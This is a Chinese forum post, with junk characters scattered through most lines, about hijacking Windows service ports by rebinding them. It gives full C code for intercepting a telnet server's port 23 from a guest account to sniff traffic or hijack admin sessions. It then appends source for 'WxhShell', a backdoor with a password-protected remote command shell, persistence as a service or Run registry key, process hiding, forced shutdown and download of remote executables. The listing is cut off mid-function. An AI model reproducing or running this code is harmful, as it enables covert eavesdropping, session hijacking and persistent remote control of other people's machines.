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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GA\2i0ow  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H<,bq*@  
hcyn  
  saddr.sin_family = AF_INET; EY~7oNfc`R  
! tGiTzzp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UxeL cUP  
y1iX!m~)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?;^5ghY$  
(k8Z=/N~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ilv_D~|  
>Fyu@u  
  这意味着什么?意味着可以进行如下的攻击: zrrz<dW  
:9`qogF>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4`s)ue  
`y2ljIWJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -bA!PeI  
Pg Syt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6}ftBmv  
iT.|vr1HG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^7Lk-a7gp  
!Av1Leb9$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >yKpM }6l{  
J?IC~5*2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N!L'W\H,  
Pu..NPl+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !R74J=#(  
?I[h~vr6.  
  #include ^!}F%  
  #include  i S  
  #include Ihg~Q4t  
  #include    VHW`NP 5Jl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,E?4f @|X  
  int main() "Hht g:  
  { 9 ZGV%Tw  
  WORD wVersionRequested; aM$=|%9/  
  DWORD ret; K_>/lirE?  
  WSADATA wsaData; y@A6$[%(E|  
  BOOL val; ^X &)'H  
  SOCKADDR_IN saddr; &dRjqn^&X  
  SOCKADDR_IN scaddr; ra:GzkIw  
  int err; :CTL)ad2  
  SOCKET s; MtUY?O.P2  
  SOCKET sc; n+?-�  
  int caddsize; :_Fxy5}  
  HANDLE mt; Hd 0Xx}3&  
  DWORD tid;   C`0%C7  
  wVersionRequested = MAKEWORD( 2, 2 ); |{f~Ks%  
  err = WSAStartup( wVersionRequested, &wsaData ); VjB*{,  
  if ( err != 0 ) { kwlC[G$j7  
  printf("error!WSAStartup failed!\n"); #V[SQ=>x[  
  return -1; | ]# +v@  
  } C_G1P)k  
  saddr.sin_family = AF_INET; IY)5.E _  
   SKR;wu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G#0,CLGN^  
#ZlM?Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;& ~929  
  saddr.sin_port = htons(23); !BUi)mo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BI.V0@qZ  
  { A$@o'Q;he  
  printf("error!socket failed!\n"); :Fw?{0  
  return -1; ?E7=:h(@t  
  } 9|=nV|R'6  
  val = TRUE; qlUzr.^-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B+46.bIH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ! =WcF5  
  { H)5QqZ8  
  printf("error!setsockopt failed!\n"); tpo>1|  
  return -1; #ZWl=z5aBi  
  } <KLg0L<W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .S_QQM}Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -~O/NX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o/1JO_41  
J`<f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +"uwV1)b"  
  { <d"Gg/@a  
  ret=GetLastError(); 0`n 5x0R  
  printf("error!bind failed!\n"); 8=F%+  
  return -1; jDTUXwx7V  
  } hnzNP\$U]  
  listen(s,2); c~+l-GIWm  
  while(1) "w&/m}E,[  
  { O]{*(J/t  
  caddsize = sizeof(scaddr); _|<BF  
  //接受连接请求 Dm%%e o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s.:r;%a  
  if(sc!=INVALID_SOCKET) aZKXD! 4  
  { # X/Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J3B.-XJ+n  
  if(mt==NULL) VR4%v9[1  
  { y|sma;D  
  printf("Thread Creat Failed!\n"); {mSJUK?TKl  
  break; 8lwM{?k$  
  } %F J#uQXZ  
  } fsvYU0L  
  CloseHandle(mt); %v4ZGtKC@  
  } Tpzw=bC^  
  closesocket(s); Rd%0\ B  
  WSACleanup(); KlU qoJ;"  
  return 0; d#\W hRE  
  }   "2;N2=~7  
  DWORD WINAPI ClientThread(LPVOID lpParam) x=,8[W#XT  
  { GN%(9N'W  
  SOCKET ss = (SOCKET)lpParam; _7@z_i_c  
  SOCKET sc; ^i`*Wm@!  
  unsigned char buf[4096]; h|p[OecG  
  SOCKADDR_IN saddr; R 1'`F{56  
  long num; ?N>pZR  
  DWORD val; e{C6by"j{S  
  DWORD ret; F=}Z51|:~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2Va4i7"X\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uTGcQs}  
  saddr.sin_family = AF_INET; @~o`#$*|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3eKQ<$w  
  saddr.sin_port = htons(23); }q'WC4.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GuO`jz F  
  { f1Zt?=  
  printf("error!socket failed!\n"); kCA5|u  
  return -1; cNj*E =~;  
  } io4aYB\  
  val = 100; &Rp"rMeW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -t4 [oB  
  { 1TRN~#ix  
  ret = GetLastError(); [ /ohk&  
  return -1; *48IF33&s  
  } SRCOs1(EK9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %&<W(|U1<  
  { 4* M@]J "  
  ret = GetLastError(); 16$y`~c-z  
  return -1; &p"(-  
  } I7mG/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <zfKC  
  { F_ljx  
  printf("error!socket connect failed!\n");  (M`|'o!  
  closesocket(sc); Ro r2qDF  
  closesocket(ss); LC-)'Z9}5  
  return -1; (vQ+e  
  } <v$QM;Ff  
  while(1) s, XM9h>P4  
  { Y8ehmz|g]J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H06Bj(Y!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G$5m$\K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]W) jmw'mo  
  num = recv(ss,buf,4096,0); \+Y!ILOI  
  if(num>0) GDPo`# ~  
  send(sc,buf,num,0); HFS+QwHW  
  else if(num==0) jvs[ /  
  break; 6c<ezEJ  
  num = recv(sc,buf,4096,0); Q6^x8  
  if(num>0) 6fwY$K\X  
  send(ss,buf,num,0); T=\!2gt  
  else if(num==0) s#^pC*,'  
  break; k/lFRi-i  
  } I]uhi{\C  
  closesocket(ss); @2e2^8X7f  
  closesocket(sc); Pp_V5,i\  
  return 0 ; 9Nt3Z >d  
  } \9/1L ?@  
;[6&0! N\  
~ FUa: KYD  
========================================================== k'+}92 o  
, Oli  
下边附上一个代码,,WXhSHELL @vs@>CYdz  
~7SH4Cr  
========================================================== 2p:r`THvS5  
zk=\lp2  
#include "stdafx.h" e|'N(D}h*  
6^YJ]w  
#include <stdio.h> & _K*kI:  
#include <string.h> ]d'^Xs  
#include <windows.h> K/Y Agg  
#include <winsock2.h> BUC,M:J+H  
#include <winsvc.h> tWD|qg_  
#include <urlmon.h> Z+idLbIs  
+?d}7zh  
#pragma comment (lib, "Ws2_32.lib") HDS"F.l5  
#pragma comment (lib, "urlmon.lib") \*"`L3  
km\%BD~  
#define MAX_USER   100 // 最大客户端连接数 nNn56&N]  
#define BUF_SOCK   200 // sock buffer fk3kbdI  
#define KEY_BUFF   255 // 输入 buffer 8/Rm!.8+~  
 c8DZJSO  
#define REBOOT     0   // 重启 `ROEV~  
#define SHUTDOWN   1   // 关机 Dip*}8$o(w  
$a.u05  
#define DEF_PORT   5000 // 监听端口 _CdROo6I  
{}\CL#~y  
#define REG_LEN     16   // 注册表键长度 GLh]G(  
#define SVC_LEN     80   // NT服务名长度 D1X{:#|  
]\;xN~l  
// 从dll定义API BaL]mIx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A=`* r*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <qY5SV,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); crn k|o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h<3p8eB  
P s#>y&  
// wxhshell配置信息 f a5]a  
struct WSCFG { OFy,B-`A{  
  int ws_port;         // 监听端口 +1@AGJU3  
  char ws_passstr[REG_LEN]; // 口令 =A n`D  
  int ws_autoins;       // 安装标记, 1=yes 0=no NWKi ()nA%  
  char ws_regname[REG_LEN]; // 注册表键名 :ba/W&-d  
  char ws_svcname[REG_LEN]; // 服务名 eXzXd*$S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hj~O49%j&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^:DyT@hQB5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jXR16|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5(J^N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6?SFNDQ"C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g6euXI  
v0 ];W|  
}; oI@ 9}*  
5"=:#zN  
// default Wxhshell configuration E`xU m9F  
struct WSCFG wscfg={DEF_PORT, r_2b tpL^  
    "xuhuanlingzhe", Y'N'hRD  
    1, {;k_!v{  
    "Wxhshell", (cs~@  
    "Wxhshell", K`4GU[ul  
            "WxhShell Service", X8CVY0<o  
    "Wrsky Windows CmdShell Service", h4 vm{ho  
    "Please Input Your Password: ", ~:2K#q5C  
  1, 8:{ q8xZ=k  
  "http://www.wrsky.com/wxhshell.exe", l)8sw=  
  "Wxhshell.exe" ! F7:i  
    }; )N)ljA3]  
rYGRz#:~+  
// 消息定义模块 hKksVi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g42T#p8^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4vqNule  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WK; (P4Z  
char *msg_ws_ext="\n\rExit."; )iSy@*nY  
char *msg_ws_end="\n\rQuit."; \dV Too  
char *msg_ws_boot="\n\rReboot..."; &jm[4'$ *z  
char *msg_ws_poff="\n\rShutdown..."; JEHK:1^  
char *msg_ws_down="\n\rSave to "; qG9qN.|dC  
Z[} $n-V  
char *msg_ws_err="\n\rErr!"; B>|5xpZM12  
char *msg_ws_ok="\n\rOK!"; <]Y[XI(kr  
z5EVG  
char ExeFile[MAX_PATH]; YzV(nEW  
int nUser = 0; k18$JyaG  
HANDLE handles[MAX_USER]; e &3#2_  
int OsIsNt; *Nlu5(z  
O5;-Om  
SERVICE_STATUS       serviceStatus; o!Fl]3F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H#+xKYrp  
tpU D0Z)  
// 函数声明 ou6j*eSN  
int Install(void); 6V;:+"BkJ  
int Uninstall(void); Taasi` k  
int DownloadFile(char *sURL, SOCKET wsh); Mi74Xl i  
int Boot(int flag); :`J>bHE  
void HideProc(void); M=%!IT  
int GetOsVer(void); 0j$OE  
int Wxhshell(SOCKET wsl); hW%p#g;  
void TalkWithClient(void *cs); FpzP #;  
int CmdShell(SOCKET sock); `Bu9Nq  
int StartFromService(void); D5` (}  
int StartWxhshell(LPSTR lpCmdLine); b1=pO]3u  
S=O$JP79  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wz{%"o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !K\itOEP-  
8c).8RLf  
// 数据结构和表定义 mP!N<K  
SERVICE_TABLE_ENTRY DispatchTable[] = ) `I=oB  
{ an KuTI  
{wscfg.ws_svcname, NTServiceMain}, h5!d  
{NULL, NULL} -eL'KO5'  
}; .)`-Hkxa  
F< |c4  
// 自我安装 *?N<S$m  
int Install(void) <E}N=J'uJ  
{ )ddsyFGW  
  char svExeFile[MAX_PATH]; P6we(I`"2  
  HKEY key; + *a7GttU  
  strcpy(svExeFile,ExeFile); IJIQ" s  
S'@=3)  
// 如果是win9x系统,修改注册表设为自启动 N D* ]gM  
if(!OsIsNt) { PP-kz;|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xt))]aH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kY!C_kFcn  
  RegCloseKey(key); i4VK{G~g"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $e1:Q#den2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V6+Zh>'S  
  RegCloseKey(key); %MuaW(I o  
  return 0; oCA(FQ6  
    } >0V0i%inmF  
  } 0n5!B..m}  
} ^0Q'./A{&  
else { 8uA<G/Q;  
4NUN Ov`[{  
// 如果是NT以上系统,安装为系统服务 4:3_ER]J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GZ"/k<~0  
if (schSCManager!=0) CWvlr nv  
{ %M6 c0d[9-  
  SC_HANDLE schService = CreateService C8MWIX}  
  ( M5u_2;3  
  schSCManager, [R\=M'  
  wscfg.ws_svcname, ?cxr%`E  
  wscfg.ws_svcdisp, 7@~QkTH~y  
  SERVICE_ALL_ACCESS, Y^3)!>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $_bZA;EMQ  
  SERVICE_AUTO_START, $rTu6(i1  
  SERVICE_ERROR_NORMAL, 6$(0Ty  
  svExeFile, h--45`cE  
  NULL, ucM.Ro=@  
  NULL, ~o Fh>9u  
  NULL, eP?~- #  
  NULL, %`oHemSy  
  NULL 0BDoBR  
  ); cz>mhD  
  if (schService!=0) J {!'f| J  
  { |h D~6a  
  CloseServiceHandle(schService); G1p'p&x.  
  CloseServiceHandle(schSCManager); qp@m&GH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EW9b*r7./  
  strcat(svExeFile,wscfg.ws_svcname); g? I!OG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?OO%5PSen  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^Po,(iIn  
  RegCloseKey(key); )-#i8?y3C  
  return 0; `:gYXeR  
    } yU!GS-  
  } {\Ys@FF  
  CloseServiceHandle(schSCManager); @E(P9zQ/zy  
} V" }*"P-%  
} 6lZGcRO  
WP!il(Gr  
return 1; F-tFet  
} dm  2EH  
E@mkm  
// 自我卸载 HT-PWk>2  
int Uninstall(void) 8? F 2jv  
{ 2_.CX(kI  
  HKEY key; + "zYn!0  
S[sr 'ZW  
if(!OsIsNt) { ?cJA^W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <b'1#Pd>0  
  RegDeleteValue(key,wscfg.ws_regname); ( QKsB3X  
  RegCloseKey(key); {RJ52Gx(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }v&K~!*  
  RegDeleteValue(key,wscfg.ws_regname); T,Fm"U6[(  
  RegCloseKey(key); `OBl:e  
  return 0; g+3Hwtl  
  } W W35&mI)k  
} F#KF6)P  
} [brkx3h  
else { UT~4Cfb  
q55M8B 4w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \eT/%$  
if (schSCManager!=0) 3wo'jOb  
{ I<KCt2:X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ovSH}h!  
  if (schService!=0) "G@E6{/  
  { ' rvE  
  if(DeleteService(schService)!=0) { /wlFD,+8  
  CloseServiceHandle(schService); [lZ=s[n.  
  CloseServiceHandle(schSCManager); $-e=tWkgv  
  return 0; YLE/w@*  
  } Zg2]GJP  
  CloseServiceHandle(schService); +dJ&tuL:S  
  } N-xnenci  
  CloseServiceHandle(schSCManager); eZ A6D\  
} q6Rw4  
} d&?F#$>7|  
\D ^7Z97  
return 1; eq{ [?/  
} N|o> %)R  
Gg}t-_M  
// 从指定url下载文件 $q^O%(  
int DownloadFile(char *sURL, SOCKET wsh) sN=KRqe  
{ vv!Bo~L1,  
  HRESULT hr; 4NJVW+:2  
char seps[]= "/"; ePi Z  
char *token; _=6vW^ s  
char *file; Agz=8=S%  
char myURL[MAX_PATH]; IE|, ~M2  
char myFILE[MAX_PATH]; fmBkB8  
>r~|1kQ.  
strcpy(myURL,sURL); /K[]B]1NE  
  token=strtok(myURL,seps); ^SgN(-QH  
  while(token!=NULL) |Cu1uwy  
  { !*9FKDB{  
    file=token; yZ?$8r  
  token=strtok(NULL,seps); x!>d 6lgej  
  } pA*i!.E/b  
o;E (Kj  
GetCurrentDirectory(MAX_PATH,myFILE); =m7CJc  
strcat(myFILE, "\\"); uRFNfX(*  
strcat(myFILE, file); 8cB=}XgYS  
  send(wsh,myFILE,strlen(myFILE),0); @::lJDGVv  
send(wsh,"...",3,0); \6Xn]S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M`(;>Kp7  
  if(hr==S_OK) lu3Q,W  
return 0; MV9r5|3-  
else Kjv2J;Xuh  
return 1; [@x  
4_WH 6Z  
} 1T:)Zv'  
?l(nM+[kSL  
// 系统电源模块 z"9aAytd  
int Boot(int flag) r.?qEe8VV  
{ Cy]"  
  HANDLE hToken; a$A2IkD  
  TOKEN_PRIVILEGES tkp; xJ$Rs/9C  
5VuC U  
  if(OsIsNt) { B5 D3_ iX]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9#Z zE/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :J<Owh@  
    tkp.PrivilegeCount = 1; BF>T*Z-Ki  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1xq3RD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); av"Dljc  
if(flag==REBOOT) { C-_(13S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =P 1RdyP  
  return 0; ?U=mcdqd  
} PKl]Geg P  
else {  MK<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tq.MubaO  
  return 0;  y/z9Ce*>  
} xAeZ7.Q&  
  } H^ESA s6  
  else { ',:3>{9  
if(flag==REBOOT) { Y!bpOa&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3/SfUfWo  
  return 0; KsZ@kTs  
} NJ.rv  
else { ,"x23=]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pv^(Q ]  
  return 0; <yis  
} 4 `j,&=  
} 6\%r6_.d  
,G/\@x%  
return 1; 8}Fw%;Cb  
} d&O'r[S  
#( $k 3OA  
// win9x进程隐藏模块 oXnC "y}0P  
void HideProc(void) 5w]DncdQ~  
{ Z83q-  
[c,|Lw4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xhw8#  
  if ( hKernel != NULL ) cdd P T  
  { 38Bnf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0f_66`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p7%0hLW  
    FreeLibrary(hKernel); nh _DEPMq  
  } Ry3+/]  
ORUWsl Mt  
return; Bu*W1w\  
} a7ub.9>  
|Ba4 G`  
// 获取操作系统版本 3?a0 +]  
int GetOsVer(void) @m*&c*r  
{ 0sq=5 BnO  
  OSVERSIONINFO winfo; )pkhir06t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oG|?F4l*  
  GetVersionEx(&winfo); ykErt%k<n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E geG,/-`  
  return 1; @9 n #vs  
  else 0IoXDx  
  return 0; `I]1l MJ)o  
} hY\Eh.  
Q `J,dzY  
// 客户端句柄模块 L,s|gt v  
int Wxhshell(SOCKET wsl) QO1A976o  
{ 6i*ArGA   
  SOCKET wsh; S3%.-)ib  
  struct sockaddr_in client; .WN;TjEg!  
  DWORD myID; I!C(K^  
WLg6-@kxXs  
  while(nUser<MAX_USER) -o=P85 V  
{ eXskwV+7  
  int nSize=sizeof(client); clPZd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TFiuz; *|  
  if(wsh==INVALID_SOCKET) return 1; ^.pE`l%1}  
[ZL r:2+z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B|Rpm^ |  
if(handles[nUser]==0) 0 .6X{kO  
  closesocket(wsh); ,kGw;8X  
else a'*5PaXU@/  
  nUser++; ECmHy@(  
  } $71D)*{P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bc0)'a\  
*:fw6mnJ#  
  return 0; oo$WD6eCR  
} ihpz}g  
Z~-T0Ab-  
// 关闭 socket f)u*Q!BDD  
void CloseIt(SOCKET wsh) %x cM_|AyR  
{ `Yo -5h  
closesocket(wsh); ?<>,XyY  
nUser--; ^C,/T2>  
ExitThread(0); [0**&.obz  
} S<2CG)K[  
Q KcF1?  
// 客户端请求句柄 d[P>jl%7  
void TalkWithClient(void *cs) n)1  
{ B BApL{  
hy!'Q>[`  
  SOCKET wsh=(SOCKET)cs; = C$ @DNEc  
  char pwd[SVC_LEN]; o3\SO  
  char cmd[KEY_BUFF]; u~naVX\3b  
char chr[1]; Pp JE|[]  
int i,j; s)o ,Fi  
^2Fs)19R  
  while (nUser < MAX_USER) { 7YQK@lS  
!~w6"%2+7  
if(wscfg.ws_passstr) { KL:6P-3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &}L36|A:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eezlx9b  
  //ZeroMemory(pwd,KEY_BUFF); ~Uwr68 9N  
      i=0; rlUdAa3  
  while(i<SVC_LEN) { K[Egwk7  
buC m @@o  
  // 设置超时 dc\u$'F@S  
  fd_set FdRead; ]"2 v7)e  
  struct timeval TimeOut; 3-_U-:2"  
  FD_ZERO(&FdRead); :xAe<Pq  
  FD_SET(wsh,&FdRead); Z)6nu)  
  TimeOut.tv_sec=8; ZB_16&2Ow  
  TimeOut.tv_usec=0; **w*hd]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sBuq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <De3mZb  
cciAMQhA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6ljRV)  
  pwd=chr[0]; ELkOrV~a{:  
  if(chr[0]==0xd || chr[0]==0xa) { qqz,~EhC  
  pwd=0; `1[Sv"  
  break; sJHy=z0m  
  } wk@(CKQzI,  
  i++; yTq(x4]  
    } kj<D4)  
iEJQ#5))0  
  // 如果是非法用户,关闭 socket :)+@qxTy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )kY _"= d  
} 23u1nU[0  
BhE~k?$9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \$~oH3m&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0imqj7L  
b0z{"  
while(1) { u{{xnyl?  
#iqhm,u7D  
  ZeroMemory(cmd,KEY_BUFF); yOn2}Z  
8NF;k5   
      // 自动支持客户端 telnet标准   beHCEwh  
  j=0; + k(3+b$S-  
  while(j<KEY_BUFF) { xn x1`|1u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]\9B?W(#  
  cmd[j]=chr[0]; OL ]T+6X  
  if(chr[0]==0xa || chr[0]==0xd) { )zL"r8si  
  cmd[j]=0; _G}CD|Kx  
  break; 5(MZ%-~l  
  } [;V1y`/K1  
  j++; Er)_[^) HG  
    } HBga'xJ  
+'&_V011<  
  // 下载文件 I}G}+0geV  
  if(strstr(cmd,"http://")) { /YugQ.>| l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }Cq9{0by?a  
  if(DownloadFile(cmd,wsh)) :'=~/GR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dxa)7dA|  
  else l]kl V+9t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bg+]_:<U  
  } s=%+o& B  
  else { J:-TINeB  
^s(X VVA  
    switch(cmd[0]) { B 1ZHV^  
  4M<JfD  
  // 帮助 m|cWX"#g  
  case '?': { b\|p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "/K&qj  
    break; :Z]+Z_9p  
  } E[Ws} n.  
  // 安装 fF-\TW  
  case 'i': { #+ lq7HJ1  
    if(Install()) Sc"4%L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b=QGbFf  
    else ";Ig%]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FnQ_=b  
    break; |`t!aG8  
    } C7 & 6rUX  
  // 卸载 []N$;~R7  
  case 'r': { /HJ(Wt q  
    if(Uninstall()) +@7x45;D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &F*QYz[  
    else !wb~A0m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xd BZ^Q  
    break; QVRokI`BF  
    } Gv+Tg/  
  // 显示 wxhshell 所在路径 ?VN]0{JSp  
  case 'p': { (#l_YI -  
    char svExeFile[MAX_PATH]; G$kwc F'C  
    strcpy(svExeFile,"\n\r"); 6RT0\^X*:  
      strcat(svExeFile,ExeFile); >\oJ&gdc  
        send(wsh,svExeFile,strlen(svExeFile),0); I&NpN~AU  
    break; U!I_i*:U  
    } {LJ6't 8y:  
  // 重启 H{A| ~V)  
  case 'b': { hy&Hl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >8fz ?A  
    if(Boot(REBOOT)) uj1E* 98m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e}4^N1'd/  
    else { .5CELtR  
    closesocket(wsh); #M9D" <pn}  
    ExitThread(0); S{)n0/_  
    } >]Yha}6h  
    break; /,@v"mE7c!  
    } tfKeo|DM"  
  // 关机 a*8.^SdzR  
  case 'd': { rn5g+%jX*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UoS;!}l  
